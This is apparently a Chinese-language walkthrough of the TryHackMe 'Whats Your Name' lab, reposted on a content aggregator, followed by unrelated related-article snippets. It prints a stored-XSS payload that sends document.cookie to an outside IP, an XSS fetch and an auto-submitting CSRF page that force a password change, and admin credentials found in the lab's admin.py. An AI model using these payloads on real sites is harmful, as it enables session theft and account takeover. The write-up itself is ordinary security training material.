THM Whats Your Name WP

信息收集

[2025-08-28 21:41:30] [SUCCESS] 端口开放 10.10.208.188:80[2025-08-28 21:41:30] [SUCCESS] 端口开放 10.10.208.188:22[2025-08-28 21:41:31] [SUCCESS] 端口开放 10.10.208.188:8081[2025-08-28 21:41:31] [SUCCESS] 服务识别 10.10.208.188:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.3 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3.][2025-08-28 21:41:36] [SUCCESS] 服务识别 10.10.208.188:80 => [http][2025-08-28 21:41:36] [SUCCESS] 服务识别 10.10.208.188:8081 => [http][2025-08-28 21:41:36] [INFO] 存活端口数量: 3[2025-08-28 21:41:36] [INFO] 开始漏洞扫描[2025-08-28 21:41:36] [INFO] 加载的插件: ssh, webpoc, webtitle[2025-08-28 21:41:37] [SUCCESS] 网站标题 http://10.10.208.188      状态码:200 长度:70     标题:无标题[2025-08-28 21:41:38] [SUCCESS] 网站标题 http://10.10.208.188:8081 状态码:200 长度:70     标题:无标题

添加映射关系

10.10.208.188 worldwap.thm

进去80端口注册一个用户后

继续添加

10.10.208.188 login.worldwap.thm

版主flag

再访问之后看一下返回包,提示访问login.php

我们在这里可以发现

访问后返回了一个cookie,而且没有设置http-only属性,这就可能造成cookie窃取,我们在注册页面测试一下,然后把之前的cookie删除后访问login.php

成功返回,那就把cookie给拿过来

<script>fetch('http://10.11.133.25/?'+btoa(document.cookie));</script>

进行base64解码即可拿到对应cookie,我们再次访问http://worldwap.thm/public/html/会被重定向到http://worldwap.thm/public/html/dashboard.php,同时访问http://login.worldwap.thm/login.php会被重定向到http://login.worldwap.thm/profile.php

至此拿到了第一个flag

管理面板flag

非预期

呃,有非预期,那就是扫目录发现了

[21:51:44] 200 -    5KB - /admin.py[21:52:05] 200 -  639B  - /assets/[21:52:05] 301 -  325B  - /assets  ->  http://login.worldwap.thm/assets/[21:52:14] 302 -    0B  - /chat.php  ->  login.php[21:52:23] 200 -    0B  - /db.php[21:52:47] 301 -  329B  - /javascript  ->  http://login.worldwap.thm/javascript/[21:52:53] 200 -  960B  - /login.php[21:52:54] 302 -    0B  - /logout.php  ->  login.php[21:52:54] 200 -    0B  - /logs.txt[21:53:12] 301 -  329B  - /phpmyadmin  ->  http://login.worldwap.thm/phpmyadmin/[21:53:15] 200 -    3KB - /phpmyadmin/doc/html/index.html[21:53:17] 200 -    3KB - /phpmyadmin/[21:53:17] 200 -    3KB - /phpmyadmin/index.php[21:53:20] 302 -    0B  - /profile.php  ->  login.php[21:53:28] 403 -  283B  - /server-status[21:53:28] 403 -  283B  - /server-status/[21:53:30] 200 -   96B  - /setup.php

admin.py里面有账号密码

# Admin credentials (for demonstration purposes)username = 'admin'password = 'Un6u3$$4Bl3!!'

直接登录了

XSS

<script>alert(1)</script>

成功弹窗,现在可以说有两个思路,一个拿cookie,一个改密码

因为在改密码界面发现请求包是

POST /change_password.php HTTP/1.1Host: login.worldwap.thmCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6779.57 Safari/537.36sec-ch-ua-mobile: ?0Accept-Language: zh-CN,zh;q=0.9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://login.worldwap.thm/change_password.phpOrigin: http://login.worldwap.thmCookie: PHPSESSID=7mm8j1r8iouk3n4c4sm18cp8kssec-ch-ua-platform: "Linux"Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="134", "Google Chrome";v="134"Content-Length: 19​new_password=123456

直接强制让其改密,可以XSS,也可以CSRF实现

<script>fetch('/change_password.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:"new_password=123456"});</script>

CSRF

csrf更简单,给他发送链接就行了,poc都可以一键生成,当然需要稍加修改,这个生成的不能自动发送,让ai改一下就行

http://10.11.133.25/csrf.html​<html><body><form action="http://login.worldwap.thm/change_password.php" method="POST" name="form1" enctype="application/x-www-form-urlencoded"><input type="hidden" name="new_password" value="123456"/><input type="submit" value="Submit request" /></form><script>document.forms['form1'].submit();history.pushState('', '', '/');</script></body></html>

成功点击访问,修改密码成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/97220.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/97220.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL底层数据结构与算法浅析

1、概述 MySQL中&#xff0c;当我们发现某个sql的执行时间很长时&#xff0c;最先想到的就是给表加索引&#xff0c;加了索引之后&#xff0c;查询性能就会有显著的提升。 为了知其所以然&#xff0c;那么只有去了解MySQL的底层储存结构和索引的查询算法&#xff0c;只有这样才…

VisualStudio 将xlsx文件嵌入到资源中访问时变String?

如题&#xff0c;就是这么诡异&#xff0c;时至如今已经是visual studio 2022了&#xff0c;你通过界面导入xlsx文件到资源中&#xff0c;它的类型就是String而且没法修改! 即使将文件压缩成zip再导入&#xff0c;依然是String&#xff01; 三哥的骚操作问你服不服! 然而&#…

【视频讲解】R语言海七鳃鳗性别比分析:JAGS贝叶斯分层逻辑回归MCMC采样模型应用

全文链接&#xff1a;https://tecdat.cn/?p43774 原文出处&#xff1a;拓端抖音号拓端tecdat 分析师&#xff1a;Yifei Liu 【视频讲解】R语言海七鳃鳗性别比分析&#xff1a;JAGS贝叶斯分层逻辑回归引言&#xff1a;生态人都懂的痛——样本少、结果被质疑&#xff0c;咋办&am…

Android14 USB子系统的启动以及动态切换相关的init.usb.rc详解

init.usb.rc的作用是在Android系统启动和运行时&#xff0c;通过监听属性&#xff08;sys.usb.config和sys.usb.configfs, sys.usb.typec.mode&#xff09;变化动态&#xff0c;通过写入内核接口 /sys/class/android_usb/ 来配置USB模式。1 USB子系统的启动1.1 on init阶段的配…

宜春城区SDH网图分析

一、SDH网图展示 图片来源&#xff1a; 本地网传输网组SDH网图(2014年12月) - 百度文库 SDH就是Synchronous Digital Hierarchy&#xff0c;同步数字体系的意思。 从分布图可以看出&#xff0c;城区网和工业网一样&#xff0c;是环状结构&#xff0c;保障数据传输的稳定。我的…

lwIP MQTT 心跳 Bug 分析与修复

一、背景在使用 lwIP 内置 MQTT 客户端时&#xff0c;如果你用的是 2.2.0 之前的版本&#xff0c;很可能会遇到一个恼人的问题&#xff1a;客户端和服务器正常连接&#xff0c;但一段时间后 会话被 broker 踢掉。比如常见的现象&#xff1a;Mosquitto / EMQX 日志显示客户端超时…

Golang 面试题「中级」

以下是 100 道 Golang 中级面试题及答案&#xff0c;涵盖并发编程、内存管理、接口实现、标准库深入应用等核心知识点&#xff1a; 一、并发编程基础与进阶问题&#xff1a;Golang 的 GPM 调度模型中&#xff0c;G、P、M 分别代表什么&#xff1f;它们的协作关系是怎样的&#…

沃尔玛AI系统Wally深度拆解:零售业库存周转提速18%,动态定价争议与员工转型成热议点

最近去沃尔玛购物&#xff0c;发现以前总断货的那款早餐麦片居然常年摆在最显眼的货架上&#xff0c;而且价格每周末都会微调——这可不是巧合&#xff0c;背后藏着零售业最硬核的AI操作。沃尔玛去年推出的智能系统Wally&#xff0c;正悄悄改变着我们买东西的体验和商家的运营逻…

AutoDL算力云上传文件太慢了如何解决?

----------------------------------------------------------------------------------------------- 这是我在我的网站中截取的文章&#xff0c;有更多的文章欢迎来访问我自己的博客网站rn.berlinlian.cn&#xff0c;这里还有很多有关计算机的知识&#xff0c;欢迎进行留言或…

【智慧城市】2025年中国地质大学(武汉)暑期实训优秀作品(2):智慧城市西安与一带一路

PART 01 项目背景01政策与时代背景近年来&#xff0c;随着科技的飞速发展和政策的积极推动&#xff0c;我国新型智慧城市建设取得了显著成效。在“十四五”国家信息化规划中&#xff0c;明确提出要打造智慧高效的城市治理体系&#xff0c;推动城市管理精细化、服务智能化。同时…

MySQL数据库精研之旅第十四期:索引的 “潜规则”(上)

专栏&#xff1a;MySQL数据库成长记 个人主页&#xff1a;手握风云 目录 一、索引简介 1.1. 索引是什么 1.2. 为什么需要索引 二、索引应该选择哪种数据结构 2.1. Hash 2.2. 二叉搜索树 2.3. N叉树 2.4. B树 三、MySQL中的页 3.1. 为什么要使用页 3.2. 页文件头和页…

架构设计——云原生与分布式系统架构

** 云原生与分布式系统架构** 5.1 云选型策略&#xff1a;多云、混合云还是单云&#xff1f;如何决定&#xff1f; “上云”已无需讨论&#xff0c;但“上什么云”是第一个战略决策。单云&#xff08;Single Cloud&#xff09;策略&#xff1a; 描述&#xff1a; 将全部资源集中…

Python图片转WebP常用库推荐:Pillow、Wand、cv2

摘要 Python转换图片为WebP&#xff0c;Pillow最推荐&#xff1a;安装简单&#xff08;pip install pillow&#xff09;、使用方便&#xff0c;代码示例显示处理RGBA转RGB等细节&#xff0c;适合多数场景&#xff1b;Wand功能更强基于ImageMagick&#xff0c;适合需高级处理的场…

Android WPS Office 18.20

WPS Office是一款集Word&#xff0c;PDF&#xff0c;Sheet&#xff0c;PowerPoint&#xff0c;表格&#xff0c;文档&#xff0c;云存储&#xff0c;模板库和在线编辑与共享于一体的多功能免费办公套件。它提供类似于Microsoft Office的功能&#xff0c;包括文字处理、表格编辑…

Elasticsearch核心配置与性能优化

以下是Elasticsearch&#xff08;ES&#xff09;的 核心配置项 及 性能优化措施&#xff0c;涵盖硬件、系统、ES配置、索引设计等关键方面&#xff0c;帮助提升集群稳定性与查询性能&#xff1a;一、硬件与系统层优化内存分配 堆内存&#xff08;Heap Size&#xff09;&#xf…

【谷歌浏览器】浏览器实用自用版——谷歌浏览器(Google Chrome)离线纯净版安装 官方版无任何捆绑及广告 【离线安装谷歌浏览器】

经常上网的朋友们肯定深有体会&#xff1a;如今不少浏览器动不动就弹广告、塞插件&#xff0c;用起来简直是折磨。面对这些“全家桶”式捆绑&#xff0c;大家都渴望能找到一款干净、简洁、无打扰的浏览器——这时候&#xff0c;Google Chrome&#xff08;谷歌浏览器&#xff09…

2025年渗透测试面试题总结-39(题目+回答)

安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 3. SAST&#xff08;静态应用安全测试&#xff09; 4. IAST&#xff08;交互式应用安全测试&#xff09; …

网站测试报告:WEB应用反CSRF的本质与防御机制

CSRF (跨站请求伪造) 本质&#xff1a; 攻击者诱骗已登录目标站点的用户&#xff0c;在不知情的情况下提交一个恶意请求。该请求利用用户浏览器中已存储的认证信息&#xff08;如Cookie、Session&#xff09;&#xff0c;以该用户的身份执行未授权的操作&#xff08;如修改密码…

2025年9月计算机二级C++语言程序设计——选择题打卡Day10

备考计算机二级 C 程序设计考试&#xff0c;选择题是不容忽视的重要部分。 今天为大家带来 10 道难点选择题&#xff0c;聚焦继承、多态等核心难点&#xff0c;助力提升解题精度。 1、有如下程序&#xff1a; #include<iostream> using namespace std; class Base { pub…

Formdata表单数据提交

前言&#xff1a;在表单数据提交中&#xff0c;常常除了字符串拼接的方式传给后端&#xff0c;一般可能还需要使用Fromdata的格式包装所要提交的表单数据传递。常用场景&#xff1a;表单数据提交一、Formdata的优势使用 FormData 主要是因为它有两个独特优势&#xff1a;能轻松…